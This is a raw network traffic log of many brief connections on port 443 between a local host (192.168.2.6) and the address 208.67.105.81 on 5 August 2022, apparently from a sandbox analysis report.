Aug 5, 2022 12:10:57.359498024 CEST	443	49792	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:57.359574080 CEST	49792	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:57.360338926 CEST	49792	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:57.360363007 CEST	443	49792	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:57.423302889 CEST	443	49792	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:57.423378944 CEST	49792	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:57.423855066 CEST	49792	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:57.423871040 CEST	443	49792	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:57.427925110 CEST	49792	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:57.427947998 CEST	443	49792	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:57.479898930 CEST	443	49792	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:57.479980946 CEST	443	49792	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:57.479985952 CEST	49792	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:57.480055094 CEST	49792	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:57.488584042 CEST	49792	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:57.488612890 CEST	443	49792	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:57.488641024 CEST	49792	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:57.488662004 CEST	49792	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:57.877365112 CEST	49793	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:57.877408981 CEST	443	49793	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:57.877507925 CEST	49793	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:57.878140926 CEST	49793	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:57.878158092 CEST	443	49793	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:57.939152002 CEST	443	49793	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:57.939244986 CEST	49793	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:57.941282988 CEST	49793	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:57.941303015 CEST	443	49793	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:57.945817947 CEST	49793	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:57.945839882 CEST	443	49793	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:57.997236013 CEST	443	49793	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:57.997330904 CEST	443	49793	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:57.997363091 CEST	49793	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:57.997395992 CEST	49793	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:58.006592035 CEST	49793	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:58.006624937 CEST	443	49793	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:58.006638050 CEST	49793	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:58.006680965 CEST	49793	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:58.656285048 CEST	49794	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:58.656424999 CEST	443	49794	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:58.656579018 CEST	49794	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:58.657159090 CEST	49794	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:58.657185078 CEST	443	49794	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:58.724077940 CEST	443	49794	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:58.724179029 CEST	49794	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:58.733973026 CEST	49794	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:58.733990908 CEST	443	49794	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:58.738360882 CEST	49794	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:58.738383055 CEST	443	49794	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:58.780512094 CEST	443	49794	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:58.780587912 CEST	443	49794	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:58.780736923 CEST	49794	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:58.825349092 CEST	49794	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:58.825387955 CEST	443	49794	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:58.825414896 CEST	49794	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:58.825444937 CEST	49794	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:59.148927927 CEST	49795	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:59.148973942 CEST	443	49795	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:59.149180889 CEST	49795	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:59.150001049 CEST	49795	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:59.150021076 CEST	443	49795	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:59.210679054 CEST	443	49795	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:59.211889029 CEST	49795	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:59.212357998 CEST	49795	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:59.212369919 CEST	443	49795	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:59.225295067 CEST	49795	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:59.225338936 CEST	443	49795	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:59.265810013 CEST	443	49795	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:59.265961885 CEST	443	49795	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:59.266084909 CEST	49795	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:59.284112930 CEST	49795	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:59.284147024 CEST	443	49795	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:59.284154892 CEST	49795	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:59.284207106 CEST	49795	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:59.618366957 CEST	49796	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:59.618427038 CEST	443	49796	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:59.618541002 CEST	49796	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:59.620212078 CEST	49796	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:59.620244980 CEST	443	49796	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:59.679616928 CEST	443	49796	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:59.679989100 CEST	49796	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:59.680685043 CEST	49796	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:59.680701017 CEST	443	49796	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:59.684945107 CEST	49796	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:59.684973001 CEST	443	49796	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:59.736388922 CEST	443	49796	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:59.736476898 CEST	443	49796	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:59.736522913 CEST	49796	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:59.736543894 CEST	49796	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:59.743872881 CEST	49796	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:59.743915081 CEST	443	49796	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:59.743935108 CEST	49796	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:59.743966103 CEST	49796	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:00.071747065 CEST	49797	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:00.071795940 CEST	443	49797	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:00.071882963 CEST	49797	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:00.072468996 CEST	49797	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:00.072484016 CEST	443	49797	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:00.131124973 CEST	443	49797	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:00.131314993 CEST	49797	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:00.152018070 CEST	49797	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:00.152034998 CEST	443	49797	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:00.156608105 CEST	49797	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:00.156630039 CEST	443	49797	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:00.185580969 CEST	443	49797	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:00.185666084 CEST	49797	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:00.185686111 CEST	443	49797	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:00.185735941 CEST	49797	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:00.185795069 CEST	443	49797	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:00.185844898 CEST	49797	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:00.190479994 CEST	49797	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:00.190515995 CEST	443	49797	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:00.190527916 CEST	49797	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:00.190646887 CEST	49797	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:00.509872913 CEST	49798	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:00.509917974 CEST	443	49798	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:00.510004997 CEST	49798	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:00.510575056 CEST	49798	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:00.510595083 CEST	443	49798	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:00.571268082 CEST	443	49798	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:00.571366072 CEST	49798	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:00.572031975 CEST	49798	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:00.572045088 CEST	443	49798	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:00.576598883 CEST	49798	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:00.576617956 CEST	443	49798	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:00.625914097 CEST	443	49798	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:00.626010895 CEST	49798	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:00.626023054 CEST	443	49798	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:00.626072884 CEST	49798	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:00.650482893 CEST	49798	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:00.650510073 CEST	443	49798	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:00.650540113 CEST	49798	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:00.650573969 CEST	49798	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:01.090239048 CEST	49799	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:01.090296030 CEST	443	49799	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:01.090471029 CEST	49799	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:01.091381073 CEST	49799	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:01.091418982 CEST	443	49799	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:01.156879902 CEST	443	49799	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:01.157820940 CEST	49799	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:01.167409897 CEST	49799	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:01.167443991 CEST	443	49799	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:01.171928883 CEST	49799	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:01.171958923 CEST	443	49799	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:01.211410046 CEST	443	49799	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:01.211484909 CEST	443	49799	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:01.211577892 CEST	49799	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:01.211605072 CEST	49799	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:01.251393080 CEST	49799	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:01.251430035 CEST	443	49799	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:01.251502991 CEST	49799	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:01.251508951 CEST	49799	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:01.807981014 CEST	49800	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:01.808039904 CEST	443	49800	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:01.808132887 CEST	49800	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:01.813029051 CEST	49800	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:01.813056946 CEST	443	49800	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:01.872915983 CEST	443	49800	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:01.873096943 CEST	49800	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:01.887264967 CEST	49800	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:01.887305021 CEST	443	49800	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:01.891499996 CEST	49800	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:01.891532898 CEST	443	49800	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:01.926904917 CEST	443	49800	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:01.927011013 CEST	443	49800	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:01.927026987 CEST	49800	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:01.927149057 CEST	49800	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:02.566509008 CEST	49800	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:02.566544056 CEST	443	49800	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:02.566557884 CEST	49800	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:02.566592932 CEST	49800	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:04.566253901 CEST	49801	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:04.566324949 CEST	443	49801	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:04.566457033 CEST	49801	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:04.637993097 CEST	49801	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:04.638031960 CEST	443	49801	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:04.699763060 CEST	443	49801	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:04.699991941 CEST	49801	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:04.780534029 CEST	49801	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:04.780584097 CEST	443	49801	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:04.785140038 CEST	49801	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:04.785162926 CEST	443	49801	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:04.813296080 CEST	443	49801	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:04.813417912 CEST	443	49801	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:04.813546896 CEST	49801	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:04.818275928 CEST	49801	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:04.849200010 CEST	49801	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:04.849235058 CEST	443	49801	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:04.849246979 CEST	49801	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:04.849286079 CEST	49801	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:05.139007092 CEST	49803	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:05.139048100 CEST	443	49803	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:05.139137030 CEST	49803	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:05.140058041 CEST	49803	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:05.140078068 CEST	443	49803	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:05.203553915 CEST	443	49803	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:05.203649044 CEST	49803	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:05.215215921 CEST	49803	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:05.215243101 CEST	443	49803	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:05.219964981 CEST	49803	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:05.219983101 CEST	443	49803	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:05.259011984 CEST	443	49803	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:05.259089947 CEST	443	49803	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:05.259102106 CEST	49803	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:05.259147882 CEST	49803	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:05.268781900 CEST	49803	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:05.268805981 CEST	443	49803	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:05.268816948 CEST	49803	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:05.268867970 CEST	49803	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:05.613368988 CEST	49806	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:05.613446951 CEST	443	49806	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:05.613550901 CEST	49806	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:05.614480972 CEST	49806	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:05.614517927 CEST	443	49806	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:05.672612906 CEST	443	49806	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:05.672741890 CEST	49806	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:05.674403906 CEST	49806	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:05.674422979 CEST	443	49806	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:05.678734064 CEST	49806	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:05.678752899 CEST	443	49806	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:05.727407932 CEST	443	49806	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:05.727508068 CEST	443	49806	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:05.727509022 CEST	49806	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:05.727617025 CEST	49806	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:05.735205889 CEST	49806	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:05.735239029 CEST	443	49806	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:05.735248089 CEST	49806	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:05.735297918 CEST	49806	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:06.094263077 CEST	49810	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:06.094310999 CEST	443	49810	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:06.094475985 CEST	49810	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:06.096544027 CEST	49810	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:06.096565008 CEST	443	49810	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:06.156295061 CEST	443	49810	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:06.156426907 CEST	49810	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:06.157059908 CEST	49810	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:06.157068014 CEST	443	49810	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:06.161043882 CEST	49810	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:06.161052942 CEST	443	49810	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:06.214648962 CEST	443	49810	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:06.214750051 CEST	443	49810	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:06.214987040 CEST	49810	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:06.214994907 CEST	49810	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:06.233658075 CEST	49810	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:06.233680964 CEST	443	49810	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:06.233696938 CEST	49810	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:06.234559059 CEST	49810	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:06.573196888 CEST	49814	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:06.573235989 CEST	443	49814	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:06.576505899 CEST	49814	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:06.577491045 CEST	49814	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:06.577510118 CEST	443	49814	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:06.638340950 CEST	443	49814	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:06.638489962 CEST	49814	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:06.639525890 CEST	49814	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:06.639540911 CEST	443	49814	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:06.672298908 CEST	49814	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:06.672327042 CEST	443	49814	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:06.700037003 CEST	443	49814	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:06.700102091 CEST	443	49814	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:06.700201988 CEST	49814	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:06.714713097 CEST	49814	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:06.714742899 CEST	443	49814	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:06.714756966 CEST	49814	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:06.716630936 CEST	49814	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:07.423651934 CEST	49816	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:07.423697948 CEST	443	49816	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:07.423782110 CEST	49816	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:07.432358980 CEST	49816	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:07.432393074 CEST	443	49816	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:07.493745089 CEST	443	49816	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:07.493901968 CEST	49816	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:07.494611025 CEST	49816	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:07.494626999 CEST	443	49816	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:07.498847961 CEST	49816	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:07.498862982 CEST	443	49816	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:07.548691034 CEST	443	49816	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:07.548778057 CEST	443	49816	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:07.548794031 CEST	49816	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:07.548861980 CEST	49816	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:07.556723118 CEST	49816	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:07.556770086 CEST	443	49816	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:07.556785107 CEST	49816	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:07.556850910 CEST	49816	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:08.170344114 CEST	49818	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:08.170387030 CEST	443	49818	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:08.170473099 CEST	49818	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:08.172199965 CEST	49818	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:08.172213078 CEST	443	49818	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:08.230725050 CEST	443	49818	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:08.230868101 CEST	49818	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:08.233066082 CEST	49818	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:08.233077049 CEST	443	49818	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:08.237556934 CEST	49818	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:08.237584114 CEST	443	49818	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:08.285073996 CEST	443	49818	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:08.285214901 CEST	443	49818	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:08.285232067 CEST	49818	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:08.285296917 CEST	49818	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:08.294990063 CEST	49818	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:08.295032978 CEST	443	49818	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:08.295048952 CEST	49818	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:08.295120001 CEST	49818	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:08.614551067 CEST	49819	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:08.614614964 CEST	443	49819	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:08.614732981 CEST	49819	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:08.616260052 CEST	49819	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:08.616296053 CEST	443	49819	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:08.678112030 CEST	443	49819	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:08.678248882 CEST	49819	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:08.679059982 CEST	49819	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:08.679070950 CEST	443	49819	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:08.683074951 CEST	49819	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:08.683089018 CEST	443	49819	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:08.732762098 CEST	443	49819	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:08.732878923 CEST	443	49819	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:08.732882977 CEST	49819	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:08.732933044 CEST	49819	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:08.740044117 CEST	49819	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:08.740068913 CEST	443	49819	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:09.460716009 CEST	49820	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:09.460767984 CEST	443	49820	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:09.461422920 CEST	49820	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:09.462677002 CEST	49820	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:09.462701082 CEST	443	49820	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:09.528419971 CEST	443	49820	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:09.528851986 CEST	49820	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:09.531599045 CEST	49820	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:09.531615973 CEST	443	49820	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:09.537803888 CEST	49820	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:09.537821054 CEST	443	49820	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:09.726460934 CEST	443	49820	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:09.726524115 CEST	443	49820	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:09.726569891 CEST	49820	443	192.168.2.6	208.67.105.81
